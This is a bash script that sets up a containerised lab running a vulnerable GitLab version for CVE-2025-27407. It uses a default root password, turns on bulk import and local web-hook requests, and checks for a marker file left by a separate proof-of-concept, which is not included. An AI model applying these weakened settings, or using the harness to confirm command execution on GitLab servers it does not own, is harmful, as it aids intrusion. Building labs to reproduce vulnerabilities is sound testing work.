README.md
Rendering markdown...
#!/usr/bin/env bash
set -euo pipefail
NETWORK=${NETWORK:-cve-2025-27407-net}
GITLAB_CONTAINER=${GITLAB_CONTAINER:-cve-27407-gitlab}
LEGACY_EVIL_CONTAINER=${LEGACY_EVIL_CONTAINER:-cve-27407-evil}
GITLAB_IMAGE=${GITLAB_IMAGE:-docker.io/gitlab/gitlab-ce:16.11.8-ce.0}
GITLAB_HTTP_PORT=${GITLAB_HTTP_PORT:-8080}
GITLAB_SSH_PORT=${GITLAB_SSH_PORT:-2224}
GITLAB_ROOT_PASSWORD=${GITLAB_ROOT_PASSWORD:-Cve27407Password!}
MARKER=${MARKER:-/tmp/cve_2025_27407_gitlab_marker}
TIMEOUT_SECONDS=${TIMEOUT_SECONDS:-1200}
usage() {
cat <<EOF
Usage: $0 <command>
Commands:
start Start the vulnerable GitLab container
wait Wait for GitLab/Rails and enable lab settings
up Run start, then wait
verify Poll for MARKER inside the GitLab container
cleanup Remove lab containers/network
help Show this help
Common environment overrides:
GITLAB_HTTP_PORT=${GITLAB_HTTP_PORT}
GITLAB_SSH_PORT=${GITLAB_SSH_PORT}
GITLAB_ROOT_PASSWORD=${GITLAB_ROOT_PASSWORD}
MARKER=${MARKER}
EOF
}
start_lab() {
podman network exists "$NETWORK" || podman network create "$NETWORK" >/dev/null
podman rm -f "$GITLAB_CONTAINER" >/dev/null 2>&1 || true
podman run -d \
--name "$GITLAB_CONTAINER" \
--hostname gitlab.local \
--network "$NETWORK" \
--shm-size 256m \
-p "$GITLAB_HTTP_PORT:$GITLAB_HTTP_PORT" \
-p "$GITLAB_SSH_PORT:22" \
-e GITLAB_OMNIBUS_CONFIG="external_url 'http://127.0.0.1:${GITLAB_HTTP_PORT}'; nginx['listen_addresses'] = ['0.0.0.0']; gitlab_rails['initial_root_password'] = '${GITLAB_ROOT_PASSWORD}'; gitlab_rails['gitlab_shell_ssh_port'] = ${GITLAB_SSH_PORT}; puma['worker_processes'] = 1; sidekiq['concurrency'] = 2; prometheus_monitoring['enable'] = false;" \
"$GITLAB_IMAGE" >/dev/null
cat <<EOF
[+] Started GitLab lab container
GitLab: http://127.0.0.1:${GITLAB_HTTP_PORT}
Root pass: ${GITLAB_ROOT_PASSWORD}
Next:
GITLAB_HTTP_PORT=${GITLAB_HTTP_PORT} ./lab.sh wait
./poc_host_port_cmd.py --host 127.0.0.1 --port ${GITLAB_HTTP_PORT} --cmd 'touch ${MARKER}'
MARKER=${MARKER} ./lab.sh verify
EOF
}
wait_ready() {
local deadline=$((SECONDS + TIMEOUT_SECONDS))
echo "[*] Waiting for GitLab HTTP on http://127.0.0.1:${GITLAB_HTTP_PORT}/users/sign_in"
until curl -fsS "http://127.0.0.1:${GITLAB_HTTP_PORT}/users/sign_in" >/dev/null 2>&1; do
if (( SECONDS > deadline )); then
echo "[-] Timed out waiting for GitLab HTTP" >&2
podman logs --tail 120 "$GITLAB_CONTAINER" >&2 || true
exit 1
fi
sleep 10
done
echo "[*] Waiting for gitlab-rails runner"
until podman exec "$GITLAB_CONTAINER" gitlab-rails runner 'puts "rails-ready"' 2>/dev/null | grep -q rails-ready; do
if (( SECONDS > deadline )); then
echo "[-] Timed out waiting for Rails" >&2
podman logs --tail 120 "$GITLAB_CONTAINER" >&2 || true
exit 1
fi
sleep 10
done
echo "[*] Enabling Direct Transfer and local lab callbacks"
podman exec "$GITLAB_CONTAINER" gitlab-rails runner '
settings = ApplicationSetting.current
settings.update!(bulk_import_enabled: true, allow_local_requests_from_web_hooks_and_services: true)
puts({ bulk_import_enabled: settings.bulk_import_enabled?, allow_local_requests: settings.allow_local_requests_from_web_hooks_and_services? }.inspect)
'
echo "[+] GitLab is ready"
}
verify_marker() {
echo "[*] GitLab marker path: $MARKER"
for _ in $(seq 1 60); do
if podman exec "$GITLAB_CONTAINER" test -f "$MARKER"; then
break
fi
sleep 1
done
if podman exec "$GITLAB_CONTAINER" test -f "$MARKER"; then
echo "[+] vulnerable: marker file exists inside GitLab container"
podman exec "$GITLAB_CONTAINER" ls -l "$MARKER"
else
echo "[-] marker not found inside GitLab container"
exit 1
fi
}
cleanup_lab() {
podman rm -f "$GITLAB_CONTAINER" "$LEGACY_EVIL_CONTAINER" >/dev/null 2>&1 || true
podman network rm "$NETWORK" >/dev/null 2>&1 || true
echo "[+] Cleaned lab containers/network"
}
command=${1:-help}
case "$command" in
start)
start_lab
;;
wait)
wait_ready
;;
up)
start_lab
wait_ready
;;
verify)
verify_marker
;;
cleanup)
cleanup_lab
;;
help|-h|--help)
usage
;;
*)
usage >&2
exit 1
;;
esac